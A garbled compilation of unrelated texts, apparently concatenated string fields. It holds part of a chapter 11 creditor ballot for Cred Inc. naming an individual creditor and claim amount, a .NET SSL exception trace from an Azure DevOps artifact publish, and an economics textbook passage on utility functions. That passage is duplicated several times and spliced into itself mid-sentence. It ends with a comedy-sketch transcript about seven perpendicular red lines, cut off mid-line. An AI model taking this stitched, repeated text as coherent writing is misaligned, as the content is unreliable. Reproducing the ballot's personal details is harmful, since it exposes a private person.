as\ndefined in the Combined Joint Plan and Disclosure Statement, this Ballot permits you to cast your vote to accept or\nreject the Plan as well as make the Convenience Class Election in accordance with the Plan. The Disclosure\nStatement has been approved on an interim basis by the United States Bankruptcy Court for the District of Delaware\n(the “Bankruptcy Court”).\nThe Bankruptcy Court’s interim approval of the Disclosure Statement does not indicate the Bankruptcy\nCourt’s approval of the Plan. The Plan can be confirmed by the Bankruptcy Court and thereby made binding on you\nif the Plan (i) is accepted by the holders of at least two-thirds in amount and more than one-half in number of the\nClaims in each impaired Class of Claims who vote on the Plan, (ii) is accepted by the holders of at least two thirds in\namount of the interests in each impaired Class of interests who vote on the Plan, and (iii) otherwise satisfies the\napplicable requirements of section 1129(a) of the Bankruptcy Code. If the requisite acceptances are not obtained,\nthe Bankruptcy Court nonetheless may confirm the Plan if it finds that the Plan (i) provides fair and equitable\ntreatment to, and does not unfairly discriminate against, the Class or Classes rejecting the Plan and (ii) otherwise\nsatisfies the requirements of section 1129(b) of the Bankruptcy Code.\nBallots may be submitted either in hard copy to the Voting Agent or via the Online Portal, as further\ndetailed in the attached Instructions. Ballots submitted by e-mail or facsimile transmission will not be\naccepted. Ballots should not be sent to the Debtors or the Bankruptcy Court.\n1 The Debtors in these chapter 11 cases, along with the last four digits of each debtor’s tax identification\nnumber, as applicable, are as follows: Cred Inc. (8268), Cred (US) LLC (5799), Cred Capital Inc. (4064), Cred\nMerchant Solutions LLC (3150), and Cred (Puerto Rico) LLC (3566). The Debtors’ mailing address is 3 East Third\nAvenue, Suite 200, San Mateo, California 94401.\n969\n4\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n2\nPLEASE READ THE ATTACHED VOTING INFORMATION AND\nINSTRUCTIONS BEFORE COMPLETING THIS BALLOT.\nPLEASE REVIEW THE COMBINED JOINT PLAN AND DISCLOSURE STATEMENT BEFORE YOU\nVOTE. THIS BALLOT IS FOR VOTING ALL OF YOUR GENERAL UNSECURED CLAIMS IN CLASS 4.\nIF YOU HOLD CLAIMS IN MORE THAN ONE CLASS UNDER THE PLAN, YOU WILL RECEIVE A\nBALLOT FOR EACH CLASS IN WHICH YOU ARE ENTITLED TO VOTE AND MUST COMPLETE A\nSEPARATE BALLOT FOR EACH CLASS OF CLAIMS.\nIF NEITHER THE “ACCEPT” NOR “REJECT” BOX IS CHECKED IN ITEM 2 OR IF BOTH BOXES\nARE CHECKED IN ITEM 2, THIS BALLOT WILL BE NOT BE COUNTED.\nPLEASE REVIEW THE ACKNOWLEDGEMENT CONTAINED IN ITEM 4. IF THIS BALLOT IS NOT\nSIGNED ON THE APPROPRIATE LINES BELOW, THIS BALLOT WILL NOT BE VALID OR\nCOUNTED AS HAVING BEEN CAST.\nItem 1. Voting Amount of Class 4 General Unsecured Claims. The undersigned certifies that, as of the Voting\nRecord Date, the undersigned is a holder of General Unsecured Claims in Class 4 of the Plan in the following\naggregate amount:\nItem 2. Vote to Accept or Reject the Plan. The undersigned, a holder of the Class 4 General Unsecured Claims\nset forth in Item 1, votes as follows (check only one box below):\n\uf071 ACCEPT the Plan. \uf071 REJECT the Plan.\nItem 3. Release. You will be bound by the third party release in Section 18.2 of the Plan if you (1) vote in favor of\nthe Plan or (2) abstain from voting or vote to reject the Plan and do not opt out by checking the box at the end of this\nItem 3. The third party release in Section 18.2 provides as follows:\nIn addition, effective as of the Confirmation Date, but subject to the occurrence\nof the Effective Date, and in consideration of the services of the Released Parties, the\nsettlements and compromises contained herein, and the Distributions to be made\npursuant to the Combined Plan and Disclosure Statement, (a) each of the Debtors, (b) all\nHolders of Claims or Equity Interests, who (1) vote in favor of the Combined Plan and\nDisclosure Statement or (2) (A) abstain from voting, are not entitled to vote, or vote to\nreject the Combined Plan and Disclosure Statement and (B) do not opt out of the this\nrelease on a timely submitted Ballot or the Opt -Out Election Form, and (c) with respect\nto the foregoing subparagraph (b), the current and former Affiliates thereof, and such\nEntities’ and their current and former Affiliates’ current and former members, directors,\nmanagers, officers, equity holders (regardless of whether such interests are held directly\nor indirectly), predecessors, successors, and assigns, subsidiaries, and each of their\nrespective current and former members, equity holders, officers, directors, managers,\n\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\n2 For voting purposes only. Subject to tabulation rules.\n2\n969\n4\n$4,226.46\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n3\n(abs) (a/r)\nprincipals, members employees, agents, advisory board members, financial advisors,\npartners, attorneys, accountants, investment bankers, consultants, representatives, and\nother Professionals, each in their capacity as such, shall be deemed to have released and\ndischarged each Released Party from any and all claims and Causes of Action, whether\nknown or unknown, including any derivative claims asserted on behalf of the Debtors,\nthat such Entity would have been legally entitled to assert (whether individually or\ncollectively), based on or relating to, or in any manner arising from, in whole or in part,\nthe Debtors, the Debtors’ prepetition operations and activities, existing or hereinafter\narising in law, equity, or otherwise, based in whole or in part on any act, omission,\ntransaction, event or other occurrence taking place before the Effective Date.\nFor the avoidance of doubt, no Insider that is not a Released Party, including,\nwithout limitation, James Alexander, Lu Hua, Dan Schatt, Joseph Podulka, and Daniyal\nInamullah, will receive a release or exculpation of any kind hereunder, whether from the\nDebtors or otherwise.\n“Released Parties” is defined in the Plan as the Professionals retained by the Debtors, Grant Lyon as the\nDebtors’ independent director, Matthew Foster as the Debtors’ chief restructuring officer, any other\nstaff supplied by Sonoran Capital Advisors, LLC, the Professionals retained by the Committee, and the\nrespective agents and representatives of each of the foregoing.\n\uf071 By checking this box, the undersigned elects to opt out of the release.\nItem 4. Voluntary Election for Convenience Claim Treatment (Optional). As explained in the Combined Joint\nPlan and Disclosure Statement, you may elect to have your Class 4 Claims treated instead as a Convenience Claim\nin Class 5 by making a Convenience Class Election. Making the Convenience Class Election is optional and\nvoluntary; you should compare the treatment of Claims in Class 4 and Class 5 before deciding whether to make the\nConvenience Class Election. If you accept the Convenience Class Election, then you will be deemed to have\nwaived your Class 4 Claims and instead your Claims shall be converted to a Class 5 Convenience Claim in the\namount of $1,000.\nThe undersigned, a holder of the Class 4 General Unsecured Claims as set forth in Item 1:\n\uf071 ACCEPTS the Convenience Class Election and the conversion of all its Class 4 General Unsecured\nClaims into a Class 5 Convenience Claim in the amount of $1,000.\n969\n4\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n4\nItem 5. Acknowledgments. By signing this Ballot, the undersigned acknowledges receipt of the Combined Joint\nPlan and Disclosure Statement and the other applicable solicitation materials and certifies that the undersigned is the\nclaimant or has the power and authority to vote to accept or reject the Plan on behalf of the claimant. The\nundersigned understands that, if this Ballot is otherwise validly executed but does not indicate either acceptance or\nrejection of the Plan, this Ballot will not be counted.\nCreditor:\nName\nSocial Security or Federal Tax I.D. No. (optional)\nSignature\nIf by Authorized Agent, Name and Title\nName of Institution\nStreet Address\nCity, State, Zip Code\nTelephone Number\nDate Completed\n969\n4\n005822-001"' -"Encountered an unexpected error.\nSystem.Net.Http.HttpRequestException: The SSL connection could not be established, see inner exception.\n ---> System.TypeInitializationException: The type initializer for 'WorkingChain' threw an exception.\n ---> System.TypeInitializationException: The type initializer for 'System.Security.Cryptography.SafeEvpPKeyHandle' threw an exception.\n ---> System.EntryPointNotFoundException: Unable to find an entry point named 'CryptoNative\\_OpenSslVersionNumber' in shared library 'libSystem.Security.Cryptography.Native.OpenSsl'.\n at Interop.OpenSsl.OpenSslVersionNumber()\n at System.Security.Cryptography.SafeEvpPKeyHandle..cctor()\n --- End of inner exception stack trace ---\n at System.Security.Cryptography.SafeEvpPKeyHandle.get\\_OpenSslVersion()\n at Internal.Cryptography.Pal.OpenSslX509ChainProcessor.WorkingChain..cctor()\n --- End of inner exception stack trace ---\n at Internal.Cryptography.Pal.OpenSslX509ChainProcessor.Finish(OidCollection applicationPolicy, OidCollection certificatePolicy)\n at Internal.Cryptography.Pal.ChainPal.BuildChain(Boolean useMachineContext, ICertificatePal cert, X509Certificate2Collection extraStore, OidCollection applicationPolicy, OidCollection certificatePolicy, X509RevocationMode revocationMode, X509RevocationFlag revocationFlag, DateTime verificationTime, TimeSpan timeout)\n at System.Security.Cryptography.X509Certificates.X509Chain.Build(X509Certificate2 certificate, Boolean throwOnException)\n at System.Security.Cryptography.X509Certificates.X509Chain.Build(X509Certificate2 certificate)\n at System.Net.Security.CertificateValidation.BuildChainAndVerifyProperties(X509Chain chain, X509Certificate2 remoteCertificate, Boolean checkCertName, String hostName)\n at System.Net.Security.SecureChannel.VerifyRemoteCertificate(RemoteCertValidationCallback remoteCertValidationCallback, ProtocolToken& alertToken)\n at System.Net.Security.SslStream.CompleteHandshake(ProtocolToken& alertToken)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReceiveBlob(Byte[] buffer, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReceiveBlob(Byte[] buffer, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.PartialFrameCallback(AsyncProtocolRequest asyncRequest)\n--- End of stack trace from previous location where exception was thrown ---\n at System.Net.Security.SslStream.ThrowIfExceptional()\n at System.Net.Security.SslStream.InternalEndProcessAuthentication(LazyAsyncResult lazyResult)\n at System.Net.Security.SslStream.EndProcessAuthentication(IAsyncResult result)\n at System.Net.Security.SslStream.EndAuthenticateAsClient(IAsyncResult asyncResult)\n at System.Net.Security.SslStream.<>c.b\\_\\_65\\_1(IAsyncResult iar)\n at System.Threading.Tasks.TaskFactory`1.FromAsyncCoreLogic(IAsyncResult iar, Func`2 endFunction, Action`1 endAction, Task`1 promise, Boolean requiresSynchronization)\n--- End of stack trace from previous location where exception was thrown ---\n at System.Net.Http.ConnectHelper.EstablishSslConnectionAsyncCore(Stream stream, SslClientAuthenticationOptions sslOptions, CancellationToken cancellationToken)\n --- End of inner exception stack trace ---\n at Microsoft.VisualStudio.Services.Common.VssHttpRetryMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)\n at System.Net.Http.HttpClient.FinishSendAsyncBuffered(Task`1 sendTask, HttpRequestMessage request, CancellationTokenSource cts, Boolean disposeCts)\n at Microsoft.VisualStudio.Services.WebApi.VssHttpClientBase.SendAsync(HttpRequestMessage message, HttpCompletionOption completionOption, Object userState, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssHttpClientBase.SendAsync[T](HttpRequestMessage message, Object userState, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Location.Client.LocationHttpClient.GetConnectionDataAsync(ConnectOptions connectOptions, Int64 lastChangeId, CancellationToken cancellationToken, Object userState)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.GetConnectionDataAsync(ConnectOptions connectOptions, Int32 lastChangeId, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.ConnectAsync(ConnectOptions connectOptions, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.EnsureConnectedAsync(ConnectOptions optionsNeeded, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.GetInstanceIdAsync(CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.LocationService.GetLocationDataAsync(Guid locationAreaIdentifier, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientInstanceAsync(Type managedType, Guid serviceIdentifier, CancellationToken cancellationToken, VssHttpRequestSettings settings, DelegatingHandler[] handlers)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientServiceImplAsync(Type requestedType, Guid serviceIdentifier, Func`4 getInstanceAsync, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientAsync[T](CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Content.Common.ExceptionExtensions.ReThrow(Exception ex)\n at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)\n at ArtifactTool.DedupManifestArtifactClientProvider.GetDedupManifestArtifactClientAsync(String serviceUrl, String patVar, ILogger commandBaseLogger, IAppTraceSource tracer, String cacheDirectory, Boolean cacheWriteAllowed, CancellationToken cancellationToken) in D:\\a\\1\\s\\src\\ArtifactTool\\Providers\\DedupManifestArtifactClient\\DedupManifestArtifactClientProvider.cs:line 56\n at ArtifactTool.Commands.UPackPublishCommand.ExecuteAsync() in D:\\a\\1\\s\\src\\ArtifactTool\\Commands\\UPack\\UPackPublishCommand.cs:line 51\n at ArtifactTool.Commands.CommandBase.OnExecuteAsync() in D:\\a\\1\\s\\src\\ArtifactTool\\Commands\\CommandBase.cs:line 105\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.InvokeAsync(MethodInfo method, Object instance, Object[] arguments) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 77\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.OnExecute(ConventionContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 62\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.<>c\\_\\_DisplayClass0\\_0.d.MoveNext() in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 25\n--- End of stack trace from previous location where exception was thrown ---\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.<>c\\_\\_DisplayClass126\\_0.b\\_\\_0() in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.cs:line 505\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.Execute(String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.cs:line 611\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.Execute[TApp](CommandLineContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 57\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](CommandLineContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 145\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](IConsole console, String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 130\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 112\nProcess ['/home/pablo/.azure/azuredevops/cli/tools/artifacttool/ArtifactTool\\_linux-x64\\_0.2.267/artifacttool', 'universal', 'publish', '--service', 'https://dev.azure.com/bkinfra/', '--patvar', 'AZURE\\_DEVOPS\\_EXT\\_ARTIFACTTOOL\\_PATVAR', '--feed', 'feed-be-coinscrap', '--package-name', 'coinscrap-us', '--package-version', '4.7.1', '--path', '/tmp/coinscrap-us.tar'] with PID 57139 exited with return code 1" -'1.4 Utility functions\nIn many economic models, an individual is described not by his preferences but\nby a value function. This formulation does not imply that the individual explicitly\nderives his preferences from a value function, but only that his preferences can\nbe derived from such a function. Preferences with this property are said to be\nrepresented by the value function. We refer to a value function that represents\npreferences as a utility function.\nDefinition 1.6: Utility function\nFor any set X and preference relation ¼ on X, the function u : X → R\nrepresents ¼ if\nx ¼ y if and only if u(x) ≥ u(y ).\nWe say that u is a utility function for ¼.\nExample 1.1\nConsider the preference relation ¼ on the set {a,b, c ,d } for which a \x1f b ∼\nc \x1f d . The function u for which u(a) = 5, u(b) = u(c ) = −1, and u(d ) =\n−17 is a utility function for ¼.\nUnder what conditions can a preference relation be represented by a utility\nfunction? To answer this question, we need another definition.\nDefinition 1.7: Minimal and maximal alternatives\nFor any set X and preference relation ¼ on X, the alternative x ∈ X is minimal with respect to ¼ in X if y ¼ x for all y ∈ X and is maximal with respect\nto ¼ in X if x ¼ y for all y ∈ X .\n10 Chapter 1. Preferences and utility\nThe next result shows that every preference relation on a finite set has minimal and maximal members.\nLemma 1.1: Existence of minimal and maximal alternatives\nLet X be a nonempty finite set and let ¼ be a preference relation on X. At\nleast one member of X is minimal with respect to ¼ in X and at least one\nmember is maximal.\nProof\nWe prove the result for minimality; the argument for maximality is analogous. We use induction on the number n of members of X. If n = 1 the\nsingle member of X is minimal with respect to ¼ in X. Assume the result is\ntrue for n − 1; we prove it is true for n. Let y be an arbitrary member of X\nand let x be minimal with respect to ¼ in X \\{y } (a set with n−1 members).\nIf y ¼ x then x is minimal in X. If not, then x ¼ y . Take any z ∈ X \\ {y }.\nBecause x is minimal in X \\ {y }, we have z ¼ x, so by transitivity z ¼ y .\nThus y is minimal in X.\nProblem 2b asks you to give an example of a preference relation on an infinite\nset for which there is no minimal or maximal member.\nWe can now show that any preference relation on a finite set can be represented by a utility function.\nProposition 1.1: Representing preference relation by utility function\nEvery preference relation on a finite set can be represented by a utility\nfunction.\nProof\nLet X be a finite set and let ¼ be a preference relation on X. Let Y0 = X and\ndefine M1 to be the set of alternatives minimal with respect to ¼ in Y0. By\nLemma 1.1, Y0 is not empty. For k ≥ 1 inductively define Yk = Yk−1 \\ Mk\nas long as Yk−1 is nonempty, and let Mk+1 be the (nonempty) set of alternatives minimal with respect to ¼ in Yk . In other words, at every stage remove from the set of remaining alternatives the alternatives minimal with\nrespect to ¼. (Figure 1.2 illustrates the construction.)\nAs long as Yk is not empty, by Lemma 1.1 the set Mk+1 is not empty.\nBecause X is finite, for some value of K the set YK is empty (but the set 1.4 Utility functions\nIn many economic models, an individual is described not by his preferences but\nby a value function. This formulation does not imply that the individual explicitly\nderives his preferences from a value function, but only that his preferences can\nbe derived from such a function. Preferences with this property are said to be\nrepresented by the value function. We refer to a value function that represents\npreferences as a utility function.\nDefinition 1.6: Utility function\nFor any set X and preference relation ¼ on X, the function u : X → R\nrepresents ¼ if\nx ¼ y if and only if u(x) ≥ u(y ).\nWe say that u is a utility function for ¼.\nExample 1.1\nConsider the preference relation ¼ on the set {a,b, c ,d } for which a \x1f b ∼\nc \x1f d . The function u for which u(a) = 5, u(b) = u(c ) = −1, and u(d ) =\n−17 is a utility function for ¼.\nUnder what conditions can a preference relation be represented by a utility\nfunction? To answer this question, we need another definition.\nDefinition 1.7: Minimal and maximal alternatives\nFor any set X and preference relation ¼ on X, the alternative x ∈ X is minimal with respect to ¼ in X if y ¼ x for all y ∈ X and is maximal with respect\nto ¼ in X if x ¼ y for all y ∈ X .\n10 Chapter 1. Preferences and utility\nThe next result shows that every preference relation on a finite set has minimal and maximal members.\nLemma 1.1: Existence of minimal and maximal alternatives\nLet X be a nonempty finite set and let ¼ be a preference relation on X. At\nleast one member of X is minimal with respect to ¼ in X and at least one\nmember is maximal.\nProof\nWe prove the result for minimality; the argument for maximality is analogous. We use induction on the number n of members of X. If n = 1 the\nsingle member of X is minimal with respect to ¼ in X. Assume the result is\ntrue for n − 1; we prove it is true for n. Let y be an arbitrary member of X\nand let x be minimal with respect to ¼ in X \\{y } (a set with n−1 members).\nIf y ¼ x then x is minimal in X. If not, then x ¼ y . Take any z ∈ X \\ {y }.\nBecause x is minimal in X \\ {y }, we have z ¼ x, so by transitivity z ¼ y .\nThus y is minimal in X.\nProblem 2b asks you to give an example of a preference relation on an infinite\nset for which there is no minimal or maximal member.\nWe can now show that any preference relation on a finite set can be represented by a utility function.\nProposition 1.1: Representing preference relation by utility function\nEvery preference relation on a finite set can be represented by a utility\nfunction.\nProof\nLet X be a finite set and let ¼ be a preference relation on X. Let Y0 = X and\ndefine M1 to be the set of alternatives minimal with respect to ¼ in Y0. By\nLemma 1.1, Y0 is not empty. For k ≥ 1 inductively define Yk = Yk−1 \\ Mk\nas long as Yk−1 is nonempty, and let Mk+1 be the (nonempty) set of alternatives minimal with respect to ¼ in Yk . In other words, at every stage remove from the set of remaining alternatives the alternatives minimal with\nrespect to ¼. (Figure 1.2 illustrates the construction.)\nAs long as Yk is not empty, by Lemma 1.1 the set Mk+1 is not empty.\nBecause X is finite, for some value of K the set YK is empty (but the set1.4 Utility functions)\n\nMany preference relations on infinite sets can also be represented by utility\nfunctions. A simple example is the preference relation ¼ on the set of nonnegative real numbers defined by x ¼ y if and only if x ≥ y , which is represented by\nthe utility function u defined by u(x) = x. However, not all preference relations\non infinite sets can be represented by utility functions. An example is the lexicographic preference relation over the unit square X = {(x1,x2) : x1,x2 ∈ [0, 1]} for\nwhich the first priority is the first coordinate and the second priority is the second coordinate (so that, for example, (0.3, 0.1) \x1f (0.2, 0.9) \x1f (0.2, 0.8)). (Figure 1.4\nshows the set of alternatives preferred to a given alternative.)\nProposition 1.2: Preference relation not represented by utility function\nThe (lexicographic) preference relation ¼ on {(x1,x2) : x1,x2 ∈ [0, 1]} defined by (x1,x2) \x1f (y1,y2) if and only if either (i) x1 > y1 or (ii) x1 = y1 and\nx2 > y2 is not represented by any utility function.\nThe proof of this result requires more mathematical knowledge than the other\narguments in the book.\nProof\nAssume, contrary to the claim, that the function u represents ¼. For each\nx ∈ [0, 1], we have (x, 1) \x1f (x, 0), so that u(x, 1) > u(x, 0). Define a function\nf that assigns to every number x ∈ [0, 1] a rational number in the interval (u(x, 0),u(x, 1)). Such a number exists because between any two real\nnumbers there is a rational number. The function f is one-to-one since\nif a > b then (a, 0) \x1f (b, 1), so that u(a, 0) > u(b, 1), and hence the interval (u(a, 0),u(a, 1)) from which f (a) is selected does not intersect the\ninterval (u(b, 0),u(b, 1)) from which f (b) is selected. The contradiction igure 1.4 The set of alternatives preferred to (z 1,z 2) according to the lexicographic\npreference relation described in the text is the area shaded blue, excluding the part of\nthe boundary indicated by a dashed line.\nnow follows from Cantor’s diagonal argument, which shows that there is\nno one-to-one function from the set [0, 1] into a countable set (like the set\nof rational numbers).\nIf a utility function represents a given preference relation, then many other\nutility functions do so too. For example, if the function u represents a given preference relation then so does the function 3u − 7 or any other function of the\nform a u + b where a is a positive number. Generally, we have the following result. Note that we define a function f to be increasing if f (x) > f (y ) whenever\nx > y (and nondecreasing if f (x) ≥ f (y ) whenever x > y ).\nProposition 1.3: Increasing function of utility function is utility function\nLet f : R → R be an increasing function. If u represents the preference\nrelation ¼ on X, then so does the function w defined by w(x) = f (u(x)) for\nall x ∈ X.\nProof\nWe have w(x) ≥ w(y ) if and only if f (u(x)) ≥ f (u(y )) if and only if u(x) ≥\nu(y ) (given that f is increasing), which is true if and only if x ¼ y .\nIn many economic models, an individual is described not by his preferences but\nby a value function. This formulation does not imply that the individual explicitly\nderives his preferences from a value function, but only that his preferences can\nbe derived from such a function. Preferences with this property are said to be\nrepresented by the value function. We refer to a value function that represents\npreferences as a utility function.\nDefinition 1.6: Utility function\nFor any set X and preference relation ¼ on X, the function u : X → R\nrepresents ¼ if\nx ¼ y if and only if u(x) ≥ u(y ).\nWe say that u is a utility function for ¼.\nExample 1.1\nConsider the preference relation ¼ on the set {a,b, c ,d } for which a \x1f b ∼\nc \x1f d . The function u for which u(a) = 5, u(b) = u(c ) = −1, and u(d ) =\n−17 is a utility function for ¼.\nUnder what conditions can a preference relation be represented by a utility\nfunction? To answer this question, we need another definition.\nDefinition 1.7: Minimal and maximal alternatives\nFor any set X and preference relation ¼ on X, the alternative x ∈ X is minimal with respect to ¼ in X if y ¼ x for all y ∈ X and is maximal with respect\nto ¼ in X if x ¼ y for all y ∈ X .\n10 Chapter 1. Preferences and utility\nThe next result shows that every preference relation on a finite set has minimal and maximal members.\nLemma 1.1: Existence of minimal and maximal alternatives\nLet X be a nonempty finite set and let ¼ be a preference relation on X. At\nleast one member of X is minimal with respect to ¼ in X and at least one\nmember is maximal.\nProof\nWe prove the result for minimality; the argument for maximality is analogous. We use induction on the number n of members of X. If n = 1 the\nsingle member of X is minimal with respect to ¼ in X. Assume the result is\ntrue for n − 1; we prove it is true for n. Let y be an arbitrary member of X\nand let x be minimal with respect to ¼ in X \\{y } (a set with n−1 members).\nIf y ¼ x then x is minimal in X. If not, then x ¼ y . Take any z ∈ X \\ {y }.\nBecause x is minimal in X \\ {y }, we have z ¼ x, so by transitivity z ¼ y .\nThus y is minimal in X.\nProblem 2b asks you to give an example of a preference relation on an infinite\nset for which there is no minimal or maximal member.\nWe can now show that any preference relation on a finite set can be represented by a utility function.\nProposition 1.1: Representing preference relation by utility function\nEvery preference relation on a finite set can be represented by a utility\nfunction.\nProof\nLet X be a finite set and let ¼ be a preference relation on X. Let Y0 = X and\ndefine M1 to be the set of alternatives minimal with respect to ¼ in Y0. By\nLemma 1.1, Y0 is not empty. For k ≥ 1 inductively define Yk = Yk−1 \\ Mk\nas long as Yk−1 is nonempty, and let Mk+1 be the (nonempty) set of alternatives minimal with respect to ¼ in Yk . In other words, at every stage remove from the set of remaining alternatives the alternatives minimal with\nrespect to ¼. (Figure 1.2 illustrates the construction.)\nAs long as Yk is not empty, by Lemma 1.1 the set Mk+1 is not empty.\nBecause X is finite, for some value of K the set YK is empty (but the setYK −1 is nonempty). Thus every x ∈ X is a member of some set Mk for some\nk , 1 ≤ k ≤ K .\nDefine the function u : X → R by u(x) = k for all x ∈ Mk , k = 1, . . . ,K .\nThat is, attach to every alternative the number of the stage at which it is\nremoved from X.\nWe argue that u is a utility function for ¼. That is, for any alternatives a\nand b we have a ¼ b if and only if u(a) ≥ u(b).\nWe have u(a) = u(b) if and only if a and b are both minimal with\nrespect to ¼ in Yu(a)−1, so that b ¼ a and a ¼ b, and hence a ∼ b.\nWe have u(b) > u(a) if and only if a is minimal with respect to ¼ in\nYu(a)−1, so that b ¼ a, and b ∈ Yu(a)−1 but is not minimal with respect to ¼\nin Yu(a)−1, so that it is not the case that a ¼ b. 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Can let me give you the transcript: 0:00\nOur company has a new strategic initiative to increase market penetration, maximise brand loyalty, and enhance intangible assets.\n0:08\nIn pursuit of these objectives, we\'ve started a new project --\n0:11\nfor which we require 7 red lines.\n0:14\nI understand your company can help us in this matter.\n0:16\nOf course!\n0:17\nWalter here will be the Project Manager. Walter, we can do this, can\'t we?\n0:22\nYes, of course.\n0:23\nAnderson here is our expert in all matters related to drawing red lines.\n0:26\nWe brought him along today to share his professional opinion.\n0:30\nNice to meet you! Well, you all know me.\n0:32\nThis is Justine, our company\'s design specialist.\n0:35\nHallo...\n0:36\nWe need you to draw seven red lines.\n0:39\nAll of them strictly perpendicular; some with green ink and some with transparent. Can you do that?\n0:46\nNo. I\'m afraid we --\n0:47\nLet\'s not rush into any hasty answers, Anderson! The task has been set and needs to be carried out.\n0:51\nAt the end of the day, you are an expert.\n0:53\nThe term "red line" implies the colour of the line to be red. To draw a red line with green ink is --\n0:58\nwell if it is not exactly impossible, then it is pretty close to being impossible.\n1:02\nWhat does it even mean: "impossible"?\n1:04\nI mean, it is quite possible that there are some people, say suffering from colour blindness,\n1:08\nfor whom the colour of the lines doesn\'t really make a difference.\n1:10\nBut I am quite sure that the target audience of your project does not consists solely of such people.\n1:15\nSo in principle this is possible.\n1:19\nI\'ll simplify.\n1:21\nA line as such can be drawn with absolutely any ink.\n1:24\nBut if you want to get a red line, you need to use red ink.\n1:28\nWhat if we draw them with blue ink?\n1:30\nIt still won\'t work. If you use blue ink, you will get blue lines.\n1:37\nAnd what exactly did you mean, when you talked about the transparent ink?\n1:40\nHow to better explain?\n1:42\nI\'m sure you know what "transparent" means?\n1:44\nYes, I do.\n1:45\nAnd what a "red line" means, I hope I don\'t need to explain to you?\n1:49\nOf course not.\n1:50\nWell... You need to draw red lines with transparent ink.\n1:55\nCould you describe what you imagine the end result would look like?\n1:58\nC\'mon, Anderson! What do we have here, kindergarten?\n2:01\nLet\'s not waste our time with these unproductive quarrels.\n2:05\nThe task has been set; the task is plain and clear.\n2:07\nNow, if you have any specific questions, go ahead!\n2:11\nYou\'re the expert here!\n2:13\nAlright, let\'s leave aside the colour for the moment.\n2:16\nYou had something there also relating to perpendicularity?..\n2:20\nSeven lines, all strictly perpendicular.\n2:23\nTo what?\n2:26\nErm, to everything. Among themselves.\n2:30\nI assumed you know what perpendicular lines are like!\n2:32\nOf course he does. He\'s an expert!\n2:35\nTwo lines can be 